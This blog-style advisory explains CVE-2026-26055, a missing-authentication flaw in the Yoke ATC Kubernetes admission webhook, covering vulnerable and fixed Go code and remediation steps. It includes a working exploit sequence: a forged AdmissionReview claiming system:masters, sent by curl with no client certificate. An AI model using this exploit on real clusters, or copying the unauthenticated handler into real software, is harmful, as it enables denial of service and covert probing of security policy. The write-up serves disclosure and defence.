Flying Blind: Yoke ATC's Open Door Policy (CVE-2026-26055)

In the Kubernetes ecosystem, Admission Controllers are the bouncers at the club door. Before any Pod, Service, or Ingress gets into the cluster VIP area (etcd), the API Server asks these controllers: 'Is this guy on the list? Is he wearing the right shoes?'

Yoke, a Helm-inspired infrastructure-as-code tool, implements this via its Air Traffic Controller (ATC) component. ATC is cool because it uses WebAssembly (WASM) to run validation logic. Instead of writing rigid Go code, you ship WASM modules that decide if a deployment is valid.

But here is the problem: The bouncer left the velvet rope down. CVE-2026-26055 isn't a complex buffer overflow or a heap grooming masterpiece. It's a fundamental failure to ask 'Who are you?' The ATC component exposes an HTTP server to receive AdmissionReview requests from the Kubernetes API Server, but it forgot to implement the part where it checks if the request actually came from the API Server.

The root cause is a classic CWE-306: Missing Authentication for Critical Function. When you write a Kubernetes Admission Webhook, you are essentially standing up a web server. The Kubernetes API Server acts as the client. To secure this, standard practice dictates two layers of defense:

1. Mutual TLS (mTLS): The API Server presents a client certificate signed by the cluster CA. The webhook verifies this.
2. Authentication Tokens: Checking a Bearer token or specific header.

Yoke's ATC implementation skipped this class. It spins up a server and listens. If you send it JSON that looks like an AdmissionReview, it happily deserializes it and hands it off to the WASM runtime.

This means the trust boundary—which should be the encrypted, authenticated channel between the Control Plane and the ATC—is effectively nonexistent. If an attacker has compromised a low-privileged web server in the same cluster (and Network Policies aren't locking things down tight), they can talk directly to the ATC.

Let's look at a reconstruction of the vulnerable logic flow compared to a secured implementation. The vulnerability lies in the HTTP handler setup in the ATC entry point.

The Vulnerable Code (Conceptual):

// main.go - The "Open Door"
func main() {
    http.HandleFunc("/validate", func(w http.ResponseWriter, r *http.Request) {
        // 1. Read the Body blindly
        body, _ := io.ReadAll(r.Body)
 
        // 2. Unmarshal into AdmissionReview
        var review v1.AdmissionReview
        json.Unmarshal(body, &review)
 
        // 3. EXECUTE WASM LOGIC
        // No check for r.TLS.PeerCertificates
        result := runWasmModule(review)
 
        respond(w, result)
    })
 
    // Starts HTTPS, but doesn't mandate Client Auth
    http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil)
}

The Fix (Secure Pattern):

To patch this, the developer needs to enforce ClientAuth in the TLS config, ensuring only the Kubernetes API server (which holds the cluster CA signed cert) can connect.

// main.go - The "Bouncer"
func main() {
    caCert, _ := os.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/ca.crt")
    caCertPool := x509.NewCertPool()
    caCertPool.AppendCertsFromPEM(caCert)
 
    tlsConfig := &tls.Config{
        ClientCAs:  caCertPool,
        // FORCE client certificate verification
        ClientAuth: tls.RequireAndVerifyClientCert,
    }
 
    server := &http.Server{
        Addr:      ":443",
        TLSConfig: tlsConfig,
    }
    
    // Now only the API Server passes the handshake
    server.ListenAndServeTLS("cert.pem", "key.pem")
}

The actual patch in version 0.19.1+ involves wiring up these TLS constraints so that the Go net/http server rejects connections at the handshake level before the application logic even sees the request.

Exploiting this is trivially easy if you have a shell inside the cluster. We don't need fancy binaries; curl is enough to trigger the vulnerability.

Step 1: Reconnaissance First, we find the service IP. Since we are inside the cluster, DNS resolves for us.

nslookup yoke-atc.yoke-system.svc.cluster.local
# Address: 10.96.123.45

Step 2: The Payload We construct a fake AdmissionReview. We can put anything in the object field. We could send a massive payload to try and crash the WASM parser, or a specific payload to see how the policy logic reacts.

{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "hacker-uuid-123",
    "kind": {"group": "", "version": "v1", "kind": "Pod"},
    "resource": {"group": "", "version": "v1", "resource": "pods"},
    "operation": "CREATE",
    "userInfo": {
      "username": "system:admin", 
      "groups": ["system:masters"]
    },
    "object": {
      "metadata": {
        "name": "evil-pod"
      },
      "spec": {
        "containers": [{"name": "sh", "image": "alpine"}]
      }
    }
  }
}

Step 3: Triggering the Handler

# -k ignores the self-signed cert on the server side
# We provide NO client cert, yet the server accepts us.
curl -k -X POST \
  https://yoke-atc.yoke-system.svc.cluster.local/validate \
  -H "Content-Type: application/json" \
  -d @payload.json

The Result: The server responds with {"response": {"allowed": true, ...}}. We successfully forced the ATC to process our request. If the WASM module had a vulnerability (e.g., a parser crash or infinite loop), we just DoS'd the cluster's admission control mechanism.

You might ask, "So what? It's just validation logic." The impact here is subtle but dangerous.

1. Denial of Service (Compute Exhaustion): WASM is fast, but it's not magic. If an attacker floods the /validate endpoint with complex requests, they consume CPU and memory on the ATC pods. If the ATC goes down or becomes unresponsive, and the ValidatingWebhookConfiguration has failurePolicy: Fail (which is secure default), no new pods can be scheduled in the cluster. The attacker effectively freezes the cluster's ability to scale or self-heal.

2. Logic Probing: An attacker can use this to reverse-engineer your security policies. By sending thousands of variations of a Pod spec, they can determine exactly what is allowed and what isn't, without creating noisy audit logs in the Kubernetes API server. They are fuzzing your policies offline.

3. Side-Channel Attacks: If the WASM modules reach out to external services (e.g., checking an image signature against a database) based on the input, an attacker can trigger Server-Side Request Forgery (SSRF) via the ATC pod.

The remediation is straightforward but urgent.

1. Upgrade Yoke: Move to version 0.19.1 or 0.20.0 immediately. The maintainers have added the necessary TLS client verification flags.

2. Defense in Depth (Network Policies): This vulnerability highlights why you cannot rely on application-layer auth alone. You must implement Kubernetes NetworkPolicies.

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: deny-all-ingress-except-api
  namespace: yoke-system
spec:
  podSelector:
    matchLabels:
      app: yoke-atc
  ingress:
    - from:
      # Allow Control Plane / API Server
      # (CIDR depends on your specific cloud/cluster config)
      - ipBlock:
          cidr: 10.0.0.1/32 

If a Network Policy had been in place restricting traffic to port 443 on the ATC pods, this vulnerability would be unexploitable from a compromised pod in a different namespace, regardless of the code flaw.